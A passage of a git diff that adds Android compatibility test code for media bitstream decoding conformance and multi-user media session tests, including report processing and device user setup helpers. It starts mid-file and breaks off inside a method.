+import java.util.Map;
+import java.util.Set;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlPullParserFactory;
+
+/**
+ * Test that verifies video bitstreams decode pixel perfectly
+ */
+@OptionClass(alias="media-bitstreams-test")
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class MediaBitstreamsTest implements IDeviceTest, IBuildReceiver, IAbiReceiver {
+
+    @Option(name = MediaBitstreams.OPT_HOST_BITSTEAMS_PATH,
+            description = "Absolute path of Ittiam bitstreams (host)",
+            mandatory = true)
+    private File mHostBitstreamsPath = new File(MediaBitstreams.DEFAULT_HOST_BITSTREAMS_PATH);
+
+    @Option(name = MediaBitstreams.OPT_DEVICE_BITSTEAMS_PATH,
+            description = "Absolute path of Ittiam bitstreams (device)")
+    private String mDeviceBitstreamsPath = MediaBitstreams.DEFAULT_DEVICE_BITSTEAMS_PATH;
+
+    @Option(name = MediaBitstreams.OPT_DOWNLOAD_BITSTREAMS,
+            description = "Whether to download the bitstreams files")
+    private boolean mDownloadBitstreams = false;
+
+    @Option(name = MediaBitstreams.OPT_UTILIZATION_RATE,
+            description = "Percentage of external storage space used for test")
+    private int mUtilizationRate = 80;
+
+    @Option(name = MediaBitstreams.OPT_NUM_BATCHES,
+            description = "Number of batches to test;"
+                    + " each batch uses external storage up to utilization rate")
+    private int mNumBatches = Integer.MAX_VALUE;
+
+    @Option(name = MediaBitstreams.OPT_DEBUG_TARGET_DEVICE,
+            description = "Whether to debug target device under test")
+    private boolean mDebugTargetDevice = false;
+
+    @Option(name = MediaBitstreams.OPT_BITSTREAMS_PREFIX,
+            description = "Only test bitstreams in this sub-directory")
+    private String mPrefix = "";
+
+    /**
+     * A helper to access resources in the build.
+     */
+    private CompatibilityBuildHelper mBuildHelper;
+
+    private IAbi mAbi;
+    private ITestDevice mDevice;
+
+    @Parameters(name = "{0}")
+    public static Iterable<? extends Object> bitstreams() {
+        final String dynConfXml = new File("/", MediaBitstreams.DYNAMIC_CONFIG_XML).toString();
+        try (InputStream is = MediaBitstreamsTest.class.getResourceAsStream(dynConfXml)) {
+            List<String> entries = new ArrayList<>();
+            XmlPullParser parser = XmlPullParserFactory.newInstance().newPullParser();
+            parser.setInput(is, null);
+            parser.nextTag();
+            parser.require(XmlPullParser.START_TAG, null, MediaBitstreams.DYNAMIC_CONFIG);
+            while (parser.next() != XmlPullParser.END_DOCUMENT) {
+                if (parser.getEventType() != XmlPullParser.START_TAG) {
+                    continue;
+                }
+                String name = parser.getName();
+                if (name.equals(MediaBitstreams.DYNAMIC_CONFIG_ENTRY)) {
+                    final String key = MediaBitstreams.DYNAMIC_CONFIG_KEY;
+                    entries.add(parser.getAttributeValue(null, key));
+                }
+            }
+            return entries;
+        } catch (XmlPullParserException | IOException e) {
+            CLog.e(e);
+            return Collections.emptyList();
+        }
+    }
+
+    public MediaBitstreamsTest(String prefix) {
+        mPrefix = prefix;
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        // Get the build, this is used to access the APK.
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+    }
+
+    @Override
+    public void setAbi(IAbi abi) {
+        mAbi = abi;
+    }
+
+    @Override
+    public void setDevice(ITestDevice device) {
+        mDevice = device;
+    }
+
+    @Override
+    public ITestDevice getDevice() {
+        return mDevice;
+    }
+
+    /*
+     * Returns true if all necessary media files exist on the device, and false otherwise.
+     *
+     * This method is exposed for unit testing.
+     */
+    private boolean bitstreamsExistOnDevice(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return device.doesFileExist(mDeviceBitstreamsPath)
+                && device.isDirectory(mDeviceBitstreamsPath);
+    }
+
+    private String getCurrentMethod() {
+        return Thread.currentThread().getStackTrace()[2].getMethodName();
+    }
+
+    Map<String, String> getArgs() {
+        Map<String, String> args = new HashMap<>();
+        args.put(MediaBitstreams.OPT_DEBUG_TARGET_DEVICE, Boolean.toString(mDebugTargetDevice));
+        args.put(MediaBitstreams.OPT_DEVICE_BITSTEAMS_PATH, mDeviceBitstreamsPath);
+        return args;
+    }
+
+    private class ProcessBitstreamsFormats extends ReportProcessor {
+
+        @Override
+        void setUp(ITestDevice device) throws DeviceNotAvailableException {
+            if (mDownloadBitstreams || !bitstreamsExistOnDevice(device)) {
+                device.pushDir(mHostBitstreamsPath, mDeviceBitstreamsPath);
+            }
+        }
+
+        @Override
+        Map<String, String> getArgs() {
+            return MediaBitstreamsTest.this.getArgs();
+        }
+
+        @Override
+        void process(ITestDevice device, String reportPath)
+                throws DeviceNotAvailableException, IOException {
+            File testDir = mBuildHelper.getTestsDir();
+            File dynamicConfigFile = new File(testDir, MediaBitstreams.K_MODULE + ".dynamic");
+            device.pullFile(reportPath, dynamicConfigFile);
+            CLog.i("Pulled bitstreams formats to %s", dynamicConfigFile.getPath());
+        }
+
+    }
+
+    private class ProcessBitstreamsValidation extends ReportProcessor {
+
+        Set<String> mBitstreams;
+        Deque<String> mProcessedBitstreams = new ArrayDeque<>();
+        private final String mMethodName;
+        private final String mBitstreamsListTxt = new File(
+                mDeviceBitstreamsPath,
+                MediaBitstreams.K_BITSTREAMS_LIST_TXT).toString();
+        private String mLastCrash;
+
+        ProcessBitstreamsValidation(Set<String> bitstreams, String methodName) {
+            mBitstreams = bitstreams;
+            mMethodName = methodName;
+        }
+
+        private String getBitstreamsListString() {
+            OutputStream baos = new ByteArrayOutputStream();
+            PrintStream ps = new PrintStream(baos, true);
+            try {
+                for (String b : mBitstreams) {
+                    ps.println(b);
+                }
+                return baos.toString();
+            } finally {
+                ps.close();
+            }
+        }
+
+        private void pushBitstreams(ITestDevice device)
+                throws IOException, DeviceNotAvailableException {
+            File tmp = null;
+            try {
+                CLog.i("Pushing %d bitstream(s) from %s to %s",
+                        mBitstreams.size(),
+                        mHostBitstreamsPath,
+                        mDeviceBitstreamsPath);
+                tmp = Files.createTempDirectory(null).toFile();
+                for (String b : mBitstreams) {
+                    String m = MediaBitstreams.getMd5Path(b);
+                    for (String f : new String[] {m, b}) {
+                        File tmpf = new File(tmp, f);
+                        new File(tmpf.getParent()).mkdirs();
+                        FileUtil.copyFile(new File(mHostBitstreamsPath, f), tmpf);
+                    }
+                }
+                device.executeShellCommand(String.format("rm -rf %s", mDeviceBitstreamsPath));
+                device.pushDir(tmp, mDeviceBitstreamsPath);
+                device.pushString(getBitstreamsListString(), mBitstreamsListTxt);
+            } finally {
+                FileUtil.recursiveDelete(tmp);
+            }
+        }
+
+        @Override
+        void setUp(ITestDevice device) throws DeviceNotAvailableException, IOException {
+            pushBitstreams(device);
+        }
+
+        @Override
+        Map<String, String> getArgs() {
+            Map<String, String> args = MediaBitstreamsTest.this.getArgs();
+            if (mLastCrash != null) {
+                args.put(MediaBitstreams.OPT_LAST_CRASH, mLastCrash);
+            }
+            return args;
+        }
+
+        private void parse(ITestDevice device, String reportPath)
+                throws DeviceNotAvailableException {
+            String[] lines = getReportLines(device, reportPath);
+            mProcessedBitstreams.clear();
+            for (int i = 0; i < lines.length;) {
+
+                String path = lines[i++];
+                mProcessedBitstreams.add(path);
+                String className = MediaBitstreamsTest.class.getCanonicalName();
+                MetricsReportLog report = new MetricsReportLog(
+                        mBuildHelper.getBuildInfo(), mAbi.getName(),
+                        String.format("%s#%s", className, mMethodName),
+                        getClass().getSimpleName(), path);
+
+                boolean failedEarly;
+                String errMsg;
+                if (i < lines.length) {
+                    failedEarly = Boolean.parseBoolean(lines[i++]);
+                    errMsg = failedEarly ? lines[i++] : "";
+                } else {
+                    failedEarly = true;
+                    errMsg = MediaBitstreams.K_NATIVE_CRASH;
+                    mLastCrash = MediaBitstreams.generateCrashSignature(path, "");
+                    mProcessedBitstreams.removeLast();
+                }
+                if (failedEarly) {
+                    String keyErrMsg = MediaBitstreams.KEY_ERR_MSG;
+                    report.addValue(keyErrMsg, errMsg, ResultType.NEUTRAL, ResultUnit.NONE);
+                    report.submit();
+                    continue;
+                }
+
+                int n = Integer.parseInt(lines[i++]);
+                for (int j = 0; j < n && i < lines.length; j++) {
+                    String name = lines[i++];
+                    String result;
+                    if (i < lines.length) {
+                        result = lines[i++];
+                    } else {
+                        result = MediaBitstreams.K_NATIVE_CRASH;
+                        mLastCrash = MediaBitstreams.generateCrashSignature(path, name);
+                        mProcessedBitstreams.removeLast();
+                    }
+                    report.addValue(name, result, ResultType.NEUTRAL, ResultUnit.NONE);
+                }
+                report.submit();
+
+            }
+        }
+
+        @Override
+        void process(ITestDevice device, String reportPath)
+                throws DeviceNotAvailableException, IOException {
+            parse(device, reportPath);
+        }
+
+        @Override
+        boolean recover(ITestDevice device, String reportPath)
+                throws DeviceNotAvailableException, IOException {
+            try {
+                parse(device, reportPath);
+                mBitstreams.removeAll(mProcessedBitstreams);
+                device.pushString(getBitstreamsListString(), mBitstreamsListTxt);
+                return true;
+            } catch (RuntimeException e) {
+                CLog.e("Error parsing report; saving report to %s", device.pullFile(reportPath));
+                CLog.e(e);
+                return false;
+            }
+        }
+
+    }
+
+    @Ignore
+    @Test
+    public void testGetBitstreamsFormats() throws DeviceNotAvailableException, IOException {
+        ReportProcessor processor = new ProcessBitstreamsFormats();
+        processor.processDeviceReport(
+                getDevice(),
+                mBuildHelper.getTestsDir(),
+                getCurrentMethod(), MediaBitstreams.KEY_BITSTREAMS_FORMATS_XML);
+    }
+
+    @Test
+    public void testBitstreamsConformance()
+            throws DeviceNotAvailableException, IOException {
+        testBitstreamsConformance(mPrefix);
+    }
+
+    private void testBitstreamsConformance(String prefix)
+            throws DeviceNotAvailableException, IOException {
+
+        ITestDevice device = getDevice();
+        SupportedBitstreamsProcessor preparer;
+        preparer = new SupportedBitstreamsProcessor(prefix, mDebugTargetDevice);
+        preparer.processDeviceReport(
+                device,
+                mBuildHelper.getTestsDir(),
+                MediaBitstreams.K_TEST_GET_SUPPORTED_BITSTREAMS,
+                MediaBitstreams.KEY_SUPPORTED_BITSTREAMS_TXT);
+        Set<String> supportedBitstreams = preparer.getSupportedBitstreams();
+        CLog.i("%d supported bitstreams under %s", supportedBitstreams.size(), prefix);
+
+        int n = 0;
+        long size = 0;
+        long limit = device.getExternalStoreFreeSpace() * mUtilizationRate * 1024 / 100;
+
+        String currentMethod = getCurrentMethod();
+        Set<String> bitstreams = new LinkedHashSet<>();
+        Iterator<String> iter = supportedBitstreams.iterator();
+
+        for (int i = 0; i < supportedBitstreams.size(); i++) {
+
+            if (n >= mNumBatches) {
+                break;
+            }
+
+            String bitstreamPath = iter.next();
+            File bitstreamFile = new File(mHostBitstreamsPath, bitstreamPath);
+            String md5Path = MediaBitstreams.getMd5Path(bitstreamPath);
+            File md5File = new File(mHostBitstreamsPath, md5Path);
+
+            if (md5File.exists() && bitstreamFile.exists()) {
+                size += md5File.length();
+                size += bitstreamFile.length();
+                bitstreams.add(bitstreamPath);
+            }
+
+            if (size > limit || i + 1 == supportedBitstreams.size()) {
+                ReportProcessor processor;
+                processor = new ProcessBitstreamsValidation(bitstreams, currentMethod);
+                processor.processDeviceReport(
+                        device,
+                        mBuildHelper.getTestsDir(),
+                        currentMethod, MediaBitstreams.KEY_BITSTREAMS_VALIDATION_TXT);
+                bitstreams.clear();
+                size = 0;
+                n++;
+            }
+
+        }
+
+    }
+
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
new file mode 100644
index 0000000..8c41347
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts.bitstreams;
+
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.testtype.AndroidJUnitTest;
+import java.io.File;
+import java.io.IOException;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+
+/**
+ * A {@link ReportProcessor} installs {@code CtsMediaBitstreamsDeviceSideTestApp.apk}
+ * onto a test device, invokes a report-generating test, then pulls and processes
+ * the generated report.
+ */
+abstract class ReportProcessor {
+
+    private final Map<String, String> mMetrics = new HashMap<>();
+    private String mFailureStackTrace = null;
+
+    private static final String APP_APK = "CtsMediaBitstreamsDeviceSideTestApp.apk";
+    private static final String APP_CLS_NAME = "MediaBitstreamsDeviceSideTest";
+    private static final String APP_PKG_NAME = "android.media.cts.bitstreams.app";
+
+    /**
+     * Setup {@code device} before test.
+     *
+     * @param device device under test
+     * @throws DeviceNotAvailableException
+     * @throws IOException
+     */
+    void setUp(ITestDevice device) throws DeviceNotAvailableException, IOException {}
+
+    Map<String, String> getArgs() {
+        return Collections.emptyMap();
+    }
+
+    /**
+     * Process test report.
+     *
+     * @param device device under test
+     * @param reportPath path to test report on {@code device}
+     * @throws DeviceNotAvailableException
+     * @throws IOException
+     */
+    void process(ITestDevice device, String reportPath)
+            throws DeviceNotAvailableException, IOException {}
+
+    /**
+     * Attempt to recover from a crash during test on {@code device}.
+     *
+     * @param device device under test
+     * @param reportPath path to test report on {@code device}
+     * @throws DeviceNotAvailableException
+     * @throws IOException
+     * @return true if successfully recovered from test crash, false otherwise
+     */
+    boolean recover(ITestDevice device, String reportPath)
+            throws DeviceNotAvailableException, IOException {
+        return false;
+    }
+
+    /**
+     * Cleanup {@code device} after test
+     * @param device device under test
+     * @param reportPath path to test report on {@code device}
+     */
+    void cleanup(ITestDevice device, String reportPath) {
+        try {
+            device.executeShellCommand(String.format("rm %s", reportPath));
+        } catch (DeviceNotAvailableException e) {
+            CLog.e(e);
+        }
+    }
+
+    /**
+     * @param device device under test
+     * @param reportPath path to test report on {@code device}
+     * @return array of lines in report, sans newline
+     * @throws DeviceNotAvailableException
+     */
+    static String[] getReportLines(ITestDevice device, String reportPath)
+            throws DeviceNotAvailableException {
+        String cat = String.format("cat %s", reportPath);
+        String output = device.executeShellCommand(cat);
+        return output.isEmpty() ? new String[0] : output.split("\n");
+    }
+
+    /* Special listener for setting MediaPreparer instance variable values */
+    private class MediaBitstreamsListener implements ITestInvocationListener {
+
+        @Override
+        public void testEnded(TestIdentifier test, Map<String, String> metrics) {
+            mMetrics.putAll(metrics);
+        }
+
+        @Override
+        public void testFailed(TestIdentifier test, String trace) {
+            mFailureStackTrace = trace;
+        }
+
+    }
+
+    private boolean runDeviceTest(
+            ITestDevice device, File testDir, String method, String reportKey,
+            int testTimeout, long shellTimeout)
+            throws DeviceNotAvailableException {
+
+        File apkFile = new File(testDir, APP_APK);
+        device.installPackage(apkFile, true, true);
+
+        String fullTestName = String.format("%s.%s#%s", APP_PKG_NAME, APP_CLS_NAME, method);
+        AndroidJUnitTest instrTest = new AndroidJUnitTest();
+        instrTest.setDevice(device);
+        instrTest.setPackageName(APP_PKG_NAME);
+        instrTest.addIncludeFilter(fullTestName);
+        instrTest.setTestTimeout(testTimeout);
+        instrTest.setShellTimeout(shellTimeout);
+        for (Entry<String, String> e : getArgs().entrySet()) {
+            instrTest.addInstrumentationArg(e.getKey(), e.getValue());
+        }
+        instrTest.run(new MediaBitstreamsListener());
+
+        return checkFile(reportKey);
+
+    }
+
+    private boolean checkFile(String reportKey) {
+        if (mFailureStackTrace != null) {
+            CLog.w("Retrieving bitstreams formats failed with trace:\n%s", mFailureStackTrace);
+            mFailureStackTrace = null;
+            return false;
+        } else if (!mMetrics.containsKey(reportKey)) {
+            CLog.w("Failed to generate file key=%s on device", reportKey);
+            return false;
+        }
+        return true;
+    }
+
+    void processDeviceReport(
+            ITestDevice device, File testDir, String method, String reportKey)
+            throws DeviceNotAvailableException, IOException {
+        try {
+            setUp(device);
+            while (!runDeviceTest(device, testDir, method, reportKey, 0, 0)) {
+                if (!recover(device, mMetrics.get(reportKey))) {
+                    return;
+                }
+            }
+            process(device, mMetrics.get(reportKey));
+        } finally {
+            cleanup(device, mMetrics.get(reportKey));
+        }
+    }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/SupportedBitstreamsProcessor.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/SupportedBitstreamsProcessor.java
new file mode 100644
index 0000000..8a6c74e
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/SupportedBitstreamsProcessor.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts.bitstreams;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import java.util.HashMap;
+import java.util.LinkedHashSet;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Runs a test on target device to query support for bitstreams listed in device side
+ * dynamic configuration file.
+ */
+public class SupportedBitstreamsProcessor extends ReportProcessor {
+
+    private final String mPrefix;
+    private final boolean mDebugTargetDevice;
+    private final Set<String> mSupportedBitstreams = new LinkedHashSet<>();
+
+    public SupportedBitstreamsProcessor() {
+        this("",false);
+    }
+
+    /**
+     * @param prefix only bitstreams whose relative path starts with {@code prefix}
+     * would be processed
+     * @param debugTargetDevice whether to pause {@code device} for debugging
+     */
+    public SupportedBitstreamsProcessor(String prefix, boolean debugTargetDevice) {
+        mPrefix = prefix;
+        mDebugTargetDevice = debugTargetDevice;
+    }
+
+    /**
+     * @return paths of supported devices on device
+     */
+    public Set<String> getSupportedBitstreams() {
+        return mSupportedBitstreams;
+    }
+
+    @Override
+    Map<String, String> getArgs() {
+        Map<String, String> args = new HashMap<>();
+        args.put(MediaBitstreams.OPT_BITSTREAMS_PREFIX, mPrefix);
+        args.put(MediaBitstreams.OPT_DEBUG_TARGET_DEVICE, Boolean.toString(mDebugTargetDevice));
+        return args;
+    }
+
+    @Override
+    void process(ITestDevice device, String reportPath) throws DeviceNotAvailableException {
+        mSupportedBitstreams.clear();
+        for (String path: getReportLines(device, reportPath)) {
+            if (path.isEmpty()) {
+                continue;
+            }
+            mSupportedBitstreams.add(path);
+        }
+    }
+
+}
diff --git a/hostsidetests/media/common/android/media/cts/MediaSessionTestHelperConstants.java b/hostsidetests/media/common/android/media/cts/MediaSessionTestHelperConstants.java
new file mode 100644
index 0000000..8c8dc54
--- /dev/null
+++ b/hostsidetests/media/common/android/media/cts/MediaSessionTestHelperConstants.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+/**
+ * Defines constants for controlling the media session test helper app, which can start media
+ * playback and create the media session for test.
+ * <p>Any change in these constants should also be applied to the media session test helper app.
+ * <p>Don't add Android specific imports because this will be used by the both host-side and
+ * device-side.
+ */
+public class MediaSessionTestHelperConstants {
+    /**
+     * Package name of the media session test helper.
+     */
+    public static final String MEDIA_SESSION_TEST_HELPER_PKG =
+            "android.media.app.media_session_test_helper";
+    /**
+     * Package binary file name of the media session test helper`.
+     */
+    public static final String MEDIA_SESSION_TEST_HELPER_APK = "CtsMediaSessionTestHelper.apk";
+
+    /**
+     * Intent action name to control media sesion test helper.
+     */
+    public static final String ACTION_CONTROL =
+            "android.media.app.media_session_test_helper.ACTION_CONTROL";
+    /**
+     * Intent extra key name to control media session test helper.
+     */
+    public static final String EXTRA_CONTROL_COMMAND =
+            "android.media.app.media_session_test_helper.EXTRA_CONTROL_COMMAND";
+
+    /**
+     * Intent extra value for the key {@link #EXTRA_CONTROL_COMMAND} to create the media session
+     * if it doesn't exist.
+     * @see buildControlCommand
+     */
+    public static final int FLAG_CREATE_MEDIA_SESSION = 0x01;
+    /**
+     * Intent extra value for the key {@link #EXTRA_CONTROL_COMMAND} to set the media session active
+     * if it exists.
+     * @see buildControlCommand
+     */
+    public static final int FLAG_SET_MEDIA_SESSION_ACTIVE = 0x02;
+    /**
+     * Intent extra value for the key {@link #EXTRA_CONTROL_COMMAND} to set the media session
+     * inactive if it exists.
+     * @see buildControlCommand
+     */
+    public static final int FLAG_SET_MEDIA_SESSION_INACTIVE = 0x04;
+    /**
+     * Intent extra value for the key {@link #EXTRA_CONTROL_COMMAND} to release the media session
+     * if it was created.
+     * @see buildControlCommand
+     */
+    public static final int FLAG_RELEASE_MEDIA_SESSION = 0x08;
+
+    private MediaSessionTestHelperConstants() {
+        // Prevent from the instantiation.
+    }
+
+    /**
+     * Builds the control command for the media session test helper app.
+     *
+     * @param userId user id to send the command
+     * @param flag bit masked flag among {@link #FLAG_CREATE_MEDIA_SESSION},
+     *            {@link #FLAG_SET_MEDIA_SESSION_ACTIVE}, {@link #FLAG_SET_MEDIA_SESSION_INACTIVE},
+     *            and {@link #FLAG_RELEASE_MEDIA_SESSION}. If multiple flags are specificed,
+     *            operations will be exceuted in order.
+     **/
+    public static String buildControlCommand(int userId, int flag) {
+        return "am start-foreground-service --user " + userId + " -a " + ACTION_CONTROL + " --ei "
+                + EXTRA_CONTROL_COMMAND + " " + flag + " " + MEDIA_SESSION_TEST_HELPER_PKG;
+    }
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
new file mode 100644
index 0000000..ef8ba5b
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -0,0 +1,330 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestResult;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.ddmlib.testrunner.TestRunResult;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/**
+ * Base class for host-side tests for multi-user aware media APIs.
+ */
+public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+
+    /**
+     * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+     * command output from the device. At any time, if the shell command does not output anything
+     * for a period longer than the defined timeout the Tradefed run terminates.
+     */
+    private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+    /**
+     * Instrumentation test runner argument key used for individual test timeout
+     **/
+    protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+    /**
+     * Sets timeout (in milliseconds) that will be applied to each test. In the
+     * event of a test timeout it will log the results and proceed with executing the next test.
+     */
+    private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+    private static final String SETTINGS_PACKAGE_VERIFIER_NAMESPACE = "global";
+    private static final String SETTINGS_PACKAGE_VERIFIER_NAME = "package_verifier_enable";
+
+    /**
+     * User ID for all users.
+     * The value is from the UserHandle class.
+     */
+    protected static final int USER_ALL = -1;
+
+    /**
+     * User ID for the system user.
+     * The value is from the UserHandle class.
+     */
+    protected static final int USER_SYSTEM = 0;
+
+    private IBuildInfo mCtsBuild;
+    private String mPackageVerifier;
+
+    private Set<String> mExistingPackages;
+    private List<Integer> mExistingUsers;
+
+    @Override
+    protected void setUp() throws Exception {
+        // Ensure that build has been set before test is run.
+        assertNotNull(mCtsBuild);
+        mExistingPackages = getDevice().getInstalledPackageNames();
+
+        // Disable the package verifier to avoid the dialog when installing an app
+        mPackageVerifier = getSettings(SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+                SETTINGS_PACKAGE_VERIFIER_NAME, USER_ALL);
+        putSettings(SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+                SETTINGS_PACKAGE_VERIFIER_NAME, "0", USER_ALL);
+
+        mExistingUsers = new ArrayList();
+        int primaryUserId = getDevice().getPrimaryUserId();
+        mExistingUsers.add(primaryUserId);
+        mExistingUsers.add(USER_SYSTEM);
+
+        executeShellCommand("am switch-user " + primaryUserId);
+        executeShellCommand("wm dismiss-keyguard");
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Reset the package verifier setting to its original value.
+        putSettings(SETTINGS_PACKAGE_VERIFIER_NAMESPACE, SETTINGS_PACKAGE_VERIFIER_NAME,
+                mPackageVerifier, USER_ALL);
+
+        // Remove users created during the test.
+        for (int userId : getDevice().listUsers()) {
+            if (!mExistingUsers.contains(userId)) {
+                removeUser(userId);
+            }
+        }
+        // Remove packages installed during the test.
+        for (String packageName : getDevice().getUninstallablePackageNames()) {
+            if (mExistingPackages.contains(packageName)) {
+                continue;
+            }
+            CLog.d("Removing leftover package: " + packageName);
+            getDevice().uninstallPackage(packageName);
+        }
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    /**
+     * Installs the app as if the user of the ID {@param userId} has installed the app.
+     *
+     * @param appFileName file name of the app.
+     * @param userId user ID to install the app against.
+     */
+    protected void installAppAsUser(String appFileName, int userId)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        CLog.d("Installing app " + appFileName + " for user " + userId);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        String result = getDevice().installPackageForUser(
+                buildHelper.getTestFile(appFileName), true, true, userId, "-t");
+        assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
+                result);
+    }
+
+    /**
+     * Excutes shell command and returns the result.
+     *
+     * @param command command to run.
+     * @return result from the command. If the result was {@code null}, empty string ("") will be
+     *    returned instead. Otherwise, trimmed result will be returned.
+     */
+    protected @Nonnull String executeShellCommand(final String command) throws Exception {
+        CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        CLog.d("Output for command " + command + ": " + commandOutput);
+        return commandOutput != null ? commandOutput.trim() : "";
+    }
+
+    private int createAndStartUser(String extraParam) throws Exception {
+        String command = "pm create-user" + extraParam + " TestUser_" + System.currentTimeMillis();
+        String commandOutput = executeShellCommand(command);
+
+        String[] tokens = commandOutput.split("\\s+");
+        assertTrue(tokens.length > 0);
+        assertEquals("Success:", tokens[0]);
+        int userId = Integer.parseInt(tokens[tokens.length-1]);
+
+        // Start user for MediaSessionService to notice the created user.
+        getDevice().startUser(userId);
+        return userId;
+    }
+
+    /**
+     * Creates and starts a new user.
+     */
+    protected int createAndStartUser() throws Exception {
+        return createAndStartUser("");
+    }
+
+    /**
+     * Creates and starts a restricted profile for the {@param parentUserId}.
+     *
+     * @param parentUserId parent user id.
+     */
+    protected int createAndStartRestrictedProfile(int parentUserId) throws Exception {
+        return createAndStartUser(" --profileOf " + parentUserId + " --restricted");
+    }
+
+    /**
+     * Creates and starts a managed profile for the {@param parentUserId}.
+     *
+     * @param parentUserId parent user id.
+     */
+    protected int createAndStartManagedProfile(int parentUserId) throws Exception {
+        return createAndStartUser(" --profileOf " + parentUserId + " --managed");
+    }
+
+    /**
+     * Removes the user that is created during the test.
+     * <p>It will be no-op if the user cannot be removed or doesn't exist.
+     *
+     * @param userId user ID to remove.
+     */
+    protected void removeUser(int userId) throws Exception  {
